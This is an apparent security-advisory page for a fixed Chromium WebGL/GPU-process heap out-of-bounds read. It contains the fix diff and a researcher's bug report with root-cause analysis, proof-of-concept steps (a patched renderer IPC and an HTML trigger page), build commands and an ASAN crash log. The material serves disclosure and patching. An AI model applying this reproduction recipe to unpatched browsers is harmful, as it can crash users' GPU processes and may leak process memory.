Overview

High
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactHeap buffer overflow in WebGL
DescriptionHeap buffer overflow in WebGL
ComponentWebGL
Bug ClassOOB
Tracker488270257
Fix commit6345b520b188 (chromium/src) +14/-5
CISA KEVNot listed
Credited86ac1f1587b71893ed2ad792cd7dde32
Disclosed2026-03-23

Files Changed

  • gpu/ipc/service/shared_image_stub.cc
From 6345b520b1887709d3f21260a54c916b297453db Mon Sep 17 00:00:00 2001
From: kylechar <[email protected]>
Date: Mon, 02 Mar 2026 11:20:05 -0800
Subject: [PATCH] Verify shared image pixel size

Ensure that pixel data size makes sense based on the format+size of the
shared image in SharedImageStub.

Bug: 488270257
Change-Id: Ic98123443c047ec605274212e53ee278fdcc264c
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7623536
Reviewed-by: Vasiliy Telezhnikov <[email protected]>
Commit-Queue: Kyle Charbonneau <[email protected]>
Cr-Commit-Position: refs/heads/main@{#1592603}
---

diff --git a/gpu/ipc/service/shared_image_stub.cc b/gpu/ipc/service/shared_image_stub.cc
index f103936..e4ec9d3 100644
--- a/gpu/ipc/service/shared_image_stub.cc
+++ b/gpu/ipc/service/shared_image_stub.cc
@@ -290,12 +290,23 @@
   TRACE_EVENT2("gpu", "SharedImageStub::OnCreateSharedImageWithData", "width",
                params->si_info->meta.size.width(), "height",
                params->si_info->meta.size.height());
-  bool needs_gl = HasGLES2ReadOrWriteUsage(params->si_info->meta.usage);
+
+  auto& metadata = params->si_info->meta;
+
+  bool needs_gl = HasGLES2ReadOrWriteUsage(metadata.usage);
   if (!MakeContextCurrent(needs_gl)) {
     OnError();
     return;
   }
 
+  auto min_size = metadata.format.MaybeEstimatedSizeInBytes(metadata.size);
+  if (params->pixel_data_size == 0 || !min_size ||
+      params->pixel_data_size < min_size.value()) {
+    LOG(ERROR) << "SharedImageStub: upload data size is invalid";
+    OnError();
+    return;
+  }
+
   base::CheckedNumeric<size_t> safe_required_span_size =
       params->pixel_data_offset;
   safe_required_span_size += params->pixel_data_size;
@@ -318,10 +329,8 @@
       memory.subspan(params->pixel_data_offset, params->pixel_data_size);
 
   if (!factory_->CreateSharedImage(
-          params->mailbox, params->si_info->meta.format,
-          params->si_info->meta.size, params->si_info->meta.color_space,
-          params->si_info->meta.surface_origin,
-          params->si_info->meta.alpha_type, params->si_info->meta.usage,
+          params->mailbox, metadata.format, metadata.size, metadata.color_space,
+          metadata.surface_origin, metadata.alpha_type, metadata.usage,
           GetLabel(params->si_info->debug_label), subspan)) {
     LOG(ERROR) << kSICreationFailureError;
     OnError();
Loading diff…

Original Bug Report

reported by [email protected]

Out-of-Bounds Read in `GLTextureHolder::Initialize` via Zero-Size `CreateSharedImageWithData` IPC in GPU Process

Summary

A compromised renderer process can send a crafted create_shared_image_with_data Mojo message to the GPU process, setting pixel_data_size to zero and pixel_data_offset to exactly the size of a pre-registered shared memory region. The GPU process constructs an empty base::span whose data() pointer is non-null, pointing one-past-end of the mapping. This span bypasses all size validation in GLCommonImageBackingFactory::CanCreateTexture and is subsequently passed directly to glTexImage2D in GLTextureHolder::Initialize, which the GL driver interprets as a valid client-side pixel source and reads from unconditionally. The result is a heap-buffer-overflow OOB read in the GPU process, causing GPU process termination and WebGL context loss in the renderer. In memory layouts where the mapping is backed by a heap allocation, the GL driver reads from the heap redzone or adjacent freed memory; on platforms without ASAN, this out-of-bounds read may instead read live heap data from the GPU process, constituting a potential cross-process information disclosure from a sandboxed renderer.

The vulnerable code path in GLTextureHolder::Initialize is platform-agnostic and present on all desktop platforms that use the GL backend (Linux, ChromeOS). The specific trigger format ALPHA_8 (GL_ALPHA8_EXT) reliably produces supports_storage=false on any GLES2 driver where GL_ALPHA8_EXT is not accepted as an immutable storage internal format, which includes Mesa Gallium drivers on Linux and ChromeOS. On Windows, Chromium uses ANGLE over D3D11 by default, where ALPHA_8 may be remapped differently; behavior on that platform has not been verified. Confirmed affected configuration: Linux x86-64, Intel Arc A770 (PCI ID 8086:56a1), Mesa Iris Gallium driver (iris_dri.so, Mesa 23.x or later).

Bisect

Introducing Commit: 8d678f89ac9bbc6f02c01842473ada033d8babdc

Root Cause

The vulnerability arises from the interaction of three independent code paths that each appear locally correct but collectively admit a dangerous end-to-end condition.

The first component is SharedImageStub::OnCreateSharedImageWithData. The function validates the IPC parameters by computing required_span_size = pixel_data_offset + pixel_data_size using base::CheckedNumeric to catch overflow, which correctly rejects the case where the sum would exceed size_t. When pixel_data_size is zero and pixel_data_offset is exactly N (the size of the pre-registered mapping), the arithmetic yields N + 0 = N, which is a valid value. The call GetMemoryAsSpan<uint8_t>(N) returns a span of exactly N bytes, which is non-empty, so the emptiness guard at the next check passes. The subsequent memory.subspan(N, 0) call produces an empty span whose data() member is base_address + N, not nullptr. This is well-defined behavior for base::span::subspan, but it creates a span that is simultaneously empty (size() == 0) and has a non-null data pointer pointing one byte past the end of the mapping.

// gpu/ipc/service/shared_image_stub.cc:288-336
void SharedImageStub::OnCreateSharedImageWithData(
    mojom::CreateSharedImageWithDataParamsPtr params) {
  // ...
  base::CheckedNumeric<size_t> safe_required_span_size =
      params->pixel_data_offset;
  safe_required_span_size += params->pixel_data_size;
  size_t required_span_size;
  if (!safe_required_span_size.AssignIfValid(&required_span_size)) {
    // ... rejected on overflow only
  }

  auto memory =
      upload_memory_mapping_.GetMemoryAsSpan<uint8_t>(required_span_size);
  if (memory.empty()) {
    // ... rejected only when required_span_size > mapping size
  }

  // When pixel_data_offset=N and pixel_data_size=0:
  // memory is a N-byte span (non-empty, passes the guard above)
  // subspan(N, 0) => empty span, data() = base + N  (one-past-end, non-null)
  auto subspan =
      memory.subspan(params->pixel_data_offset, params->pixel_data_size);

  factory_->CreateSharedImage(..., subspan);  // subspan.empty()==true, subspan.data()!=nullptr
}

The second component is GLCommonImageBackingFactory::CanCreateTexture. The entire block that validates whether the supplied pixel data has the correct size for the given format and texture dimensions is wrapped in the condition if (!pixel_data.empty()). Because the crafted span is empty, this block is skipped entirely; no call to GLES2Util::ComputeImageDataSizes is made, and the discrepancy between the zero-byte span and the nonzero number of bytes that glTexImage2D will read is never detected.

// gpu/command_buffer/service/shared_image/gl_common_image_backing_factory.cc:201-273
bool GLCommonImageBackingFactory::CanCreateTexture(
    viz::SharedImageFormat format,
    const gfx::Size& size,
    base::span<const uint8_t> pixel_data,
    GLenum target) {
  // ... format and size checks ...

  // All pixel data size validation is gated on this condition.
  // An empty span bypasses every byte-count check below.
  if (!pixel_data.empty()) {
    // ... ComputeImageDataSizes, bytes_required validation ...
    if (pixel_data.size() != bytes_required) {
      return false;
    }
  }
  return true;
}

The third and decisive component is GLTextureHolder::Initialize. The function selects one of three branches depending on the backing format’s properties. The first branch (supports_storage == true) allocates immutable storage with glTexStorage2D and only calls glTexSubImage2D inside if (!pixel_data.empty()), making it safe. The second branch handles compressed formats via glCompressedTexImage2D and passes pixel_data.size() as the data length, so passing zero bytes is harmless. The third branch, which handles the general uncompressed, non-storage case, unconditionally passes pixel_data.data() as the pixel source to glTexImage2D. There is no if (!pixel_data.empty()) guard here. When the format is ALPHA_8 (GL_ALPHA8_EXT), supports_storage is false because GL_ALPHA8_EXT is not a valid immutable internal format in GLES2 contexts, so this else branch is taken and glTexImage2D is called with the past-end pointer as its pixels argument.

// gpu/command_buffer/service/shared_image/gl_texture_holder.cc:169-213
  if (format_info.supports_storage) {
    // glTexStorage2D + guarded glTexSubImage2D — safe path
    api->glTexStorage2DEXTFn(...);
    if (!pixel_data.empty()) {          // <-- correctly guarded
      api->glTexSubImage2DFn(..., pixel_data.data());
    }
  } else if (format_info.is_compressed) {
    // passes pixel_data.size() as byte count — zero bytes, harmless
    api->glCompressedTexImage2DFn(..., pixel_data.size(), pixel_data.data());
  } else {
    // VULNERABLE: no empty() check; pixel_data.data() is non-null past-end pointer
    ScopedUnpackState scoped_unpack_state(!pixel_data.empty());
    api->glTexImage2DFn(
        format_desc_.target, 0, format_desc_.image_internal_format,
        size_.width(), size_.height(), 0,
        format_info.adjusted_format, format_desc_.data_type,
        pixel_data.data());            // <-- reads from base_address + N
  }

ScopedUnpackState constructed with uploading_data = false (since pixel_data.empty() is true) unbinds any GL_PIXEL_UNPACK_BUFFER that may be bound, but this does not prevent the GL driver from reading from the non-null client-side pointer. The OpenGL specification requires the driver to read width * height * bytes_per_pixel bytes from the pointer, and with a 1x1 ALPHA_8 texture that is 1 byte. The driver therefore reads 1 byte from base_address + N, which is outside the shared memory mapping.

The ScopedUnpackState(false) does not create any safety guarantee in this scenario because the OpenGL specification treats a non-null pixels pointer unconditionally as a client-side data source when no PBO is bound, regardless of how the unpack state was configured.

Reproduce

The vulnerability is in the GPU process and follows the compromised-renderer threat model. The PoC modifies gpu/ipc/client/shared_image_interface_proxy.cc to simulate a compromised renderer that sends the malformed IPC, then loads a minimal web page to trigger the SharedImage creation path.

Apply patch.diff against commit fd0c865d5f83b3591c54505236133ba01d08c617 from the Chromium source root:

git apply patch.diff

Save the following as poc.html in the Chromium source root:

<!DOCTYPE html>
<html>
<head><title>GPU-032 PoC</title></head>
<body>
<canvas id="c" width="256" height="256"></canvas>
<script>
// Force GPU-accelerated compositing to trigger SharedImage allocation,
// which causes the injected renderer code to fire the crafted IPC.
const canvas = document.getElementById('c');
const ctx = canvas.getContext('2d');
let frame = 0;
function draw() {
  ctx.fillStyle = 'hsl(' + (frame * 3) + ',100%,50%)';
  ctx.fillRect(0, 0, 256, 256);
  frame++;
  requestAnimationFrame(draw);
}
draw();
console.log('[POC] PoC loaded, waiting for GPU crash...');
</script>
</body>
</html>

Tested on: Linux x86-64, kernel 6.8, Intel Arc A770 (Mesa Iris, iris_dri.so), Chromium ASAN build at commit fd0c865d5f83b3591c54505236133ba01d08c617.

Build and run:

# Build ASAN chrome
autoninja -C /path/to/chromium/src/out/asan chrome

# Run with GPU process enabled (required to reach the vulnerable path),
# sandbox enabled (demonstrates IPC-based sandbox escape),
# and stderr logging captured
ASAN_OPTIONS=detect_odr_violation=0 \
  /path/to/chromium/src/out/asan/chrome \
  --user-data-dir=/tmp/poc-chromium \
  --enable-logging=stderr \
  file:///path/to/poc/poc.html \
  2>&1 | tee /tmp/poc-asan.txt

Actual output:

[299283:299283:0227/232800.916908:WARNING:chrome/browser/signin/account_consistency_mode_manager.cc:74] Desktop Identity Consistency cannot be enabled as no OAuth client ID and client secret have been configured.
libva error: /usr/lib/x86_64-linux-gnu/dri/iHD_drv_video.so init failed
libva error: /usr/lib/x86_64-linux-gnu/dri/i965_drv_video.so init failed
[299321:299321:0227/232801.760094:ERROR:media/gpu/vaapi/vaapi_wrapper.cc:1640] vaInitialize failed: unknown libva error
[299321:299321:0227/232801.778285:WARNING:sandbox/policy/linux/sandbox_linux.cc:405] InitializeSandbox() called with multiple threads in process gpu-process.
[299652:1:0227/232802.505230:ERROR:gpu/ipc/client/shared_image_interface_proxy.cc:148] POC: fired offset=1048576 size=0 format=ALPHA_8
[299321:299321:0227/232802.505771:ERROR:gpu/command_buffer/service/shared_image/gl_texture_holder.cc:171] INS: Initialize format=ALPHA_8 supports_storage=0 is_compressed=0 pixel_data.empty()=1 pixel_data.data()=0x741e5e158000 pixel_data.size()=0
[299321:299321:0227/232802.516908:ERROR:gpu/command_buffer/service/shared_image/gl_texture_holder.cc:171] INS: Initialize format=RGBA_8888 supports_storage=1 is_compressed=0 pixel_data.empty()=1 pixel_data.data()=0 pixel_data.size()=0
[299321:299321:0227/232802.537428:ERROR:gpu/command_buffer/service/shared_image/gl_texture_holder.cc:171] INS: Initialize format=RGBA_8888 supports_storage=1 is_compressed=0 pixel_data.empty()=1 pixel_data.data()=0 pixel_data.size()=0
[299321:299321:0227/232802.608479:ERROR:gpu/command_buffer/service/shared_image/gl_texture_holder.cc:171] INS: Initialize format=RGBA_8888 supports_storage=1 is_compressed=0 pixel_data.empty()=1 pixel_data.data()=0 pixel_data.size()=0
[299321:299321:0227/232802.617723:ERROR:gpu/command_buffer/service/shared_image/gl_texture_holder.cc:171] INS: Initialize format=RGBA_8888 supports_storage=1 is_compressed=0 pixel_data.empty()=1 pixel_data.data()=0 pixel_data.size()=0
[299321:299321:0227/232802.618603:ERROR:gpu/command_buffer/service/shared_image/gl_texture_holder.cc:171] INS: Initialize format=RGBA_8888 supports_storage=1 is_compressed=0 pixel_data.empty()=1 pixel_data.data()=0 pixel_data.size()=0
[299283:299319:0227/232802.679666:ERROR:gpu/ipc/client/shared_image_interface_proxy.cc:148] POC: fired offset=1048576 size=0 format=ALPHA_8
[299321:299321:0227/232802.680324:ERROR:gpu/command_buffer/service/shared_image/gl_texture_holder.cc:171] INS: Initialize format=ALPHA_8 supports_storage=0 is_compressed=0 pixel_data.empty()=1 pixel_data.data()=0x741e5e158000 pixel_data.size()=0
=================================================================
==299321==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x741e5e158000 at pc 0x582476f912f4 bp 0x7ffebf358bd0 sp 0x7ffebf358388
READ of size 1 at 0x741e5e158000 thread T0 (chrome)
    #0 0x582476f912f3 in memcpy (/path/to/chromium/src/out/asan/chrome+0x10d302f3) (BuildId: d314b470fd334c66)
    #1 0x741e6836be2c  (/usr/lib/x86_64-linux-gnu/dri/iris_dri.so+0x16be2c) (BuildId: 0c994a8f78bfdc6601a8c3a4e62f446a0ffce437)

0x741e5e158000 is located 6144 bytes before 160952-byte region [0x741e5e159800,0x741e5e180cb8)
freed by thread T0 (chrome) here:
    #0 0x582476f92086 in free (/path/to/chromium/src/out/asan/chrome+0x10d31086) (BuildId: d314b470fd334c66)
    #1 0x781e7723c883 in ZSTD_freeDCtx (/lib/x86_64-linux-gnu/libzstd.so.1+0x89883) (BuildId: 5d9d0d946a3154a748e87e17af9d14764519237b)

previously allocated by thread T0 (chrome) here:
    #0 0x582476f92324 in malloc (/path/to/chromium/src/out/asan/chrome+0x10d31324) (BuildId: d314b470fd334c66)
    #1 0x781e77238e88 in ZSTD_createDCtx_advanced (/lib/x86_64-linux-gnu/libzstd.so.1+0x85e88) (BuildId: 5d9d0d946a3154a748e87e17af9d14764519237b)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/path/to/chromium/src/out/asan/chrome+0x10d302f3) (BuildId: d314b470fd334c66) in memcpy
Shadow bytes around the buggy address:
  0x741e5e157d80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x741e5e157e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x741e5e157e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x741e5e157f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x741e5e157f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x741e5e158000:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x741e5e158080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x741e5e158100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x741e5e158180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x741e5e158200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x741e5e158280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb

==299321==ADDITIONAL INFO

==299321==Note: Please include this section with the ASan report.
Task trace:
    #0 0x582481b332d2 in gpu::Scheduler::RunNextTask() gpu/command_buffer/service/scheduler.cc:647:27
    #1 0x582481b2e026 in gpu::Scheduler::TryScheduleSequence(gpu::Scheduler::Sequence*) gpu/command_buffer/service/scheduler.cc:432:29

Command line: `/proc/self/exe --type=gpu-process --ozone-platform=x11 --crashpad-handler-pid=299286 --enable-crash-reporter=, --user-data-dir=/tmp/poc-chromium --change-stack-guard-on-fork=enable --gpu-preferences=UAAAAAAAAAAgAQAEAAAAAAAAAAAAAMAAAQAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAYAAAAAAAAABgAAAAAAAAAAQAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --shared-files --metrics-shmem-handle=4,i,6352022960532226838,7078952649096486541,262144 --field-trial-handle=3,i,13414449080994677904,15710992600953954553,262144 --variations-seed-version --pseudonymization-salt-handle=7,i,10583718021982126193,16984710306321877747,4 --trace-process-track-uuid=3190708988185955192 --enable-logging=stderr`

==299321==END OF ADDITIONAL INFO

==299321==ABORTING
[299283:299283:0227/232804.379260:ERROR:content/browser/gpu/gpu_process_host.cc:999] GPU process exited unexpectedly: exit_code=256
[299283:299283:0227/232804.379375:WARNING:content/browser/gpu/gpu_process_host.cc:1441] The GPU process has crashed 1 time(s)
[299283:299283:0227/232804.387994:INFO:CONSOLE:0] "WebGL: CONTEXT_LOST_WEBGL: loseContext: context lost", source: file:///path/to/chromium/src/poc.html (0)

The ASAN report confirms the crash occurs in the GPU process (PID 299321), not the renderer, at gpu::Scheduler::RunNextTask. The shadow byte [fa] at address 0x741e5e158000 indicates a heap left redzone, meaning the read lands immediately before an adjacent heap allocation. The data() pointer is exactly mapping_base + 1048576, and the mapping is 1 MB wide, so 0x741e5e158000 is the first byte past the mapped region. The call chain iris_dri.so → memcpy confirms that the Intel Mesa GL driver internally copies pixel data using memcpy, which is what ASAN intercepts.

Credit

86ac1f1587b71893ed2ad792cd7dde32

View on issue tracker